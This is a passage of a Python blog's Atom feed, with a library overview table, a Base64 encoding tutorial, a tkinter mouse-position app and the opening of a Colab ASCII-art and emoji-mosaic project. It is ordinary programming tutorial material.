classification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;SciPy&lt;/td&gt;&lt;td&gt;Scientific Python&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Math Calculation&lt;/td&gt;&lt;td&gt;Utility functions for optimization&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Scrapy&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Data Mining/Scraping&lt;/td&gt;&lt;td&gt;Scrapy is a Python framework for large scale web scraping&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Seaborn&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Edit/View Data&lt;/td&gt;&lt;td&gt;Making statistical graphics in Python&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;SQL&lt;/td&gt;&lt;td&gt;Structured Query Language&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Edit/View Data&lt;/td&gt;&lt;td&gt;Managing or querying data stored in a relational database management system (RDBMS).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;SVM&lt;/td&gt;&lt;td&gt;Support Vector Machine&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Supervised and linear Machine Learning algorithm. Solving classification problems&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;TensorFlow&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Python Library&lt;/td&gt;&lt;td&gt;Fast numerical computing created and released by Google.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Theano&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Python Library&lt;/td&gt;&lt;td&gt;Fast numerical computation that can be run on the CPU or GPU.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;XGBoost&lt;/td&gt;&lt;td&gt;Extreme Gradient Boosting&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Python Library&lt;/td&gt;&lt;td&gt;Provides a wrapper class to allow models to be treated like classifiers or regressors in the scikit-learn framework.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/4631323210249760916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/04/the-python-libraries-that-i-need-to.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/4631323210249760916'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/4631323210249760916'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/04/the-python-libraries-that-i-need-to.html' title='The Python libraries that I need to learn for competitive programming'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWJwGnfm6Q2-cjCbWhOuFuwuLjsWFu8DiQXLj_TVJPBdLj1O-6jtiFLC6R2kOupDACSwA4DQx6YlixrLiBjoNkotp66Ywuk4m2oP5btFHAvMHkXZt9ysp6-3SQ7YN9lX4NUwFNGl2MKB3JLQCLbllBUKn5wlF85iAZqpeoweGEe7Z-_TcICXtzKfIn/s72-c/pydev.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-6865371008562639286</id><published>2022-03-29T04:58:00.002-07:00</published><updated>2022-03-31T05:08:40.059-07:00</updated><title type='text'>Encoding and Decoding Base64 Strings in Python | Simple Formula</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9KPt-5l8YBhlP6DVdVw2mD0Hnm73iPu9HagClBNGunT6iplPJuBRh_KpNV8Z7j_N75pXESW7AWh2yjZwox34ouBaugTU2cGJUa97XsqxUEwxvOnfHlahUegN7V1h1N7SdAo1VsJc5F2Cwt_n4XN4IXchtwo5iGSTN7_Ludxg-zKwPfwlkoHqpbAZY/s1600/base64.png&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Encoding and Decoding Base64 Strings in Python&quot; title=&quot;Encoding and Decoding Base64 Strings in Python&quot; border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1080&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9KPt-5l8YBhlP6DVdVw2mD0Hnm73iPu9HagClBNGunT6iplPJuBRh_KpNV8Z7j_N75pXESW7AWh2yjZwox34ouBaugTU2cGJUa97XsqxUEwxvOnfHlahUegN7V1h1N7SdAo1VsJc5F2Cwt_n4XN4IXchtwo5iGSTN7_Ludxg-zKwPfwlkoHqpbAZY/s1600/base64.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;First Import Base64&lt;/p&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;p&gt;Encoding in Base64&lt;/p&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;string&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;test&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64_string&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;b64encode(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;{string}&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;ascii&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;decode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;ascii&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64_string&lt;/span&gt;
&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;dGVzdA==&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;Decoding in Base64&lt;/p&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64_decoded&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;b64decode(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;{base64_string}&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;ascii&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;decode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;ascii&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;base64_decoded&lt;/span&gt;
&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;test&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/6865371008562639286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/encoding-and-decoding-base64-strings-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/6865371008562639286'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/6865371008562639286'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/encoding-and-decoding-base64-strings-in.html' title='Encoding and Decoding Base64 Strings in Python | Simple Formula'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9KPt-5l8YBhlP6DVdVw2mD0Hnm73iPu9HagClBNGunT6iplPJuBRh_KpNV8Z7j_N75pXESW7AWh2yjZwox34ouBaugTU2cGJUa97XsqxUEwxvOnfHlahUegN7V1h1N7SdAo1VsJc5F2Cwt_n4XN4IXchtwo5iGSTN7_Ludxg-zKwPfwlkoHqpbAZY/s72-c/base64.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-1280991431565165227</id><published>2022-03-08T08:14:00.004-08:00</published><updated>2022-03-08T08:25:15.098-08:00</updated><title type='text'>Get Mouse Position in Real Time using Python | Mouse Position Application</title><content type='html'>&lt;p&gt;While using &lt;b&gt;pyautogui&lt;/b&gt; module I always come across the same problem that is getting the X &amp;amp; Y mouse coordinates for pyautogui.moveTo(X,Y) which is not accurate or correct.&lt;/p&gt;&lt;br&gt;
&lt;p&gt;I seem to struggle getting the correct mouse position every time I use pyautogui module&lt;/p&gt;&lt;br&gt;
&lt;p&gt;Well as the title suggest what this post is about so ya I made myself a simple application in python which will give me coordinates in real time and I can re-use this applicaiton again and again and again with ease.&lt;/p&gt;&lt;br&gt;
&lt;p&gt;This is the final result. Hope it helps some one out there.&lt;/p&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg6MQoj3sxrlOis_SD6DtSUaoavvsraCIXXjBIUJuTtgTit_XnqP9c7CyD7f4n7DO1P5AdaI09yemt8ww4OF9JDl8HDZ3wbUBpfuSN4poh-CjN4QqUejQw0y3fJAu3NlLs9DWi24vahgv6BZEY1MzAEZUhE_fAXwdMgqNlMcLJ3934iPB-H_Yr4MTGJ&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Get Mouse Position in Real Time using Python&quot; border=&quot;0&quot; data-original-height=&quot;360&quot; data-original-width=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg6MQoj3sxrlOis_SD6DtSUaoavvsraCIXXjBIUJuTtgTit_XnqP9c7CyD7f4n7DO1P5AdaI09yemt8ww4OF9JDl8HDZ3wbUBpfuSN4poh-CjN4QqUejQw0y3fJAu3NlLs9DWi24vahgv6BZEY1MzAEZUhE_fAXwdMgqNlMcLJ3934iPB-H_Yr4MTGJ&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Mouse Position Application Code&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Import the required libraries&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;pyautogui&lt;/span&gt;
    
root&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;Tk()
root&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;title(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Mouse Position Application in Real Time&amp;quot;&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Getting Your Screen Size&lt;/span&gt;
ws &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; root&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;winfo_screenwidth()
hs &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; root&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;winfo_screenheight()
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;print&lt;/span&gt;(ws,hs)

&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #CC00FF&quot;&gt;mouse_position&lt;/span&gt;(event):
   x, y &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; pyautogui&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;position()
   m &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;X: &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #336666&quot;&gt;str&lt;/span&gt;(x)&lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #CC3300; font-weight: bold&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Y: &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #336666&quot;&gt;str&lt;/span&gt;(y))
   x1&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;event&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;x
   y1&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;event&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;y
   x2&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;event&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;x
   y2&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;event&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;y
   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Draw an oval in the given co-ordinates&lt;/span&gt;
   canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;create_oval(x1,y1,x2,y2,fill&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;black&amp;quot;&lt;/span&gt;, width&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;5&lt;/span&gt;)

   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# In simple format&lt;/span&gt;
   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#canvas.create_text(x2+0,y2+15,text=f&amp;quot;{m}&amp;quot;)&lt;/span&gt;

   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Same as above but with font, size, color&lt;/span&gt;
   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Anchor East = e, west = w, north = n, south = s&lt;/span&gt;
   canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;create_text(x2&lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;,y2&lt;span style=&quot;color: #555555&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;15&lt;/span&gt;,text&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;f&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;{m}&amp;quot;&lt;/span&gt;, anchor&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;e&amp;#39;&lt;/span&gt;, font&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Courier&amp;quot;&lt;/span&gt;, &lt;span style=&quot;color: #FF6600&quot;&gt;10&lt;/span&gt;), fill&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;red&amp;#39;&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Create a canvas widget&lt;/span&gt;
canvas &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; Canvas(root, width&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;f&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;{ws}&amp;quot;&lt;/span&gt;, height&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;f&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;{hs}&amp;quot;&lt;/span&gt;, bg &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;#F5FFFA&amp;#39;&lt;/span&gt;, highlightthickness &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;)
canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;pack()

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# To Make Full Screen&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#canvas.master.overrideredirect(True)&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Make screen transparent using alpha&lt;/span&gt;
canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;master&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;wm_attributes(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;-alpha&amp;quot;&lt;/span&gt;,&lt;span style=&quot;color: #FF6600&quot;&gt;0.5&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Keep it above all other window screens&lt;/span&gt;
canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;master&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;wm_attributes(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;-topmost&amp;quot;&lt;/span&gt;,&lt;span style=&quot;color: #336666&quot;&gt;True&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Just for fun&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#canvas.bind(&amp;#39;&amp;lt;Motion&amp;gt;&amp;#39;, mouse_position)&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# To show result after release use &amp;lt;ButtonRelease-1&amp;gt;&lt;/span&gt;
canvas&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;bind(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;&amp;lt;ButtonPress&amp;gt;&amp;#39;&lt;/span&gt;, mouse_position)

mainloop()
&lt;/pre&gt;

&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;br /&gt;&lt;b&gt;:::Dev Info:::&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;My Name:-&lt;/b&gt; Joel D&#39;costa&lt;br /&gt;
    &lt;b&gt;Git:-&lt;/b&gt; &lt;a href=&quot;https://github.com/joeldcosta/mouse_position_application_RealTime&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;
mouse_position_application_RealTime&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt; </content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/1280991431565165227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/get-mouse-position-in-real-time-using.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/1280991431565165227'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/1280991431565165227'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/get-mouse-position-in-real-time-using.html' title='Get Mouse Position in Real Time using Python | Mouse Position Application'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEg6MQoj3sxrlOis_SD6DtSUaoavvsraCIXXjBIUJuTtgTit_XnqP9c7CyD7f4n7DO1P5AdaI09yemt8ww4OF9JDl8HDZ3wbUBpfuSN4poh-CjN4QqUejQw0y3fJAu3NlLs9DWi24vahgv6BZEY1MzAEZUhE_fAXwdMgqNlMcLJ3934iPB-H_Yr4MTGJ=s72-c" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-6046901667561897365</id><published>2022-03-07T03:11:00.029-08:00</published><updated>2022-03-07T04:21:48.622-08:00</updated><title type='text'>Emoji Mosaic &amp; Ascii Art for NFT with Python | Google Colab Project</title><content type='html'>&lt;p&gt;This is another project which I have created in Google Colab and you can create NFTs &lt;strong&gt;Adding Emojies to any Image using Python.&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://raw.githubusercontent.com/joeldcosta/emoji-mosaic-mpl/main/NFT_1.png&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Emoji Mosaic for NFT with Python&quot; border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;800&quot; src=&quot;https://raw.githubusercontent.com/joeldcosta/emoji-mosaic-mpl/main/NFT_1.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;But First, We are going to make Ascii Art using Python. The Code will then convert the ascii output into Image. Which Can be used as another type of NFTs.&lt;/p&gt;


&lt;p&gt;First we will clone my git to colab, to use it later.&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Get Emoji Library from Git &lt;/span&gt;
&lt;span style=&quot;color: #AA0000; background-color: #FFAAAA&quot;&gt;!&lt;/span&gt;git clone &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;https://github.com/joeldcosta/emoji-mosaic-mpl.git&amp;quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;Download Image. I am using Mona Lisa image from wikipedia image souce, which will automatically rename it as Mona.jpg&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Download the Image&lt;/span&gt;
&lt;span style=&quot;color: #AA0000; background-color: #FFAAAA&quot;&gt;!&lt;/span&gt;wget &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;https://upload.wikimedia.org/wikipedia/commons/thumb/e/ec/Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg/1200px-Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #555555&quot;&gt;-&lt;/span&gt;O &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Mona.jpg&amp;quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;br&gt;

&lt;h2&gt;Convert Image to Ascii Art&lt;/h2&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Image to Ascii Art&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;string&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;plt&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;numpy&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;np&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; Image
&lt;span style=&quot;color: #555555&quot;&gt;%&lt;/span&gt;matplotlib inline

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Image File&lt;/span&gt;
img_file &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Mona.jpg&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#open and resize &lt;/span&gt;
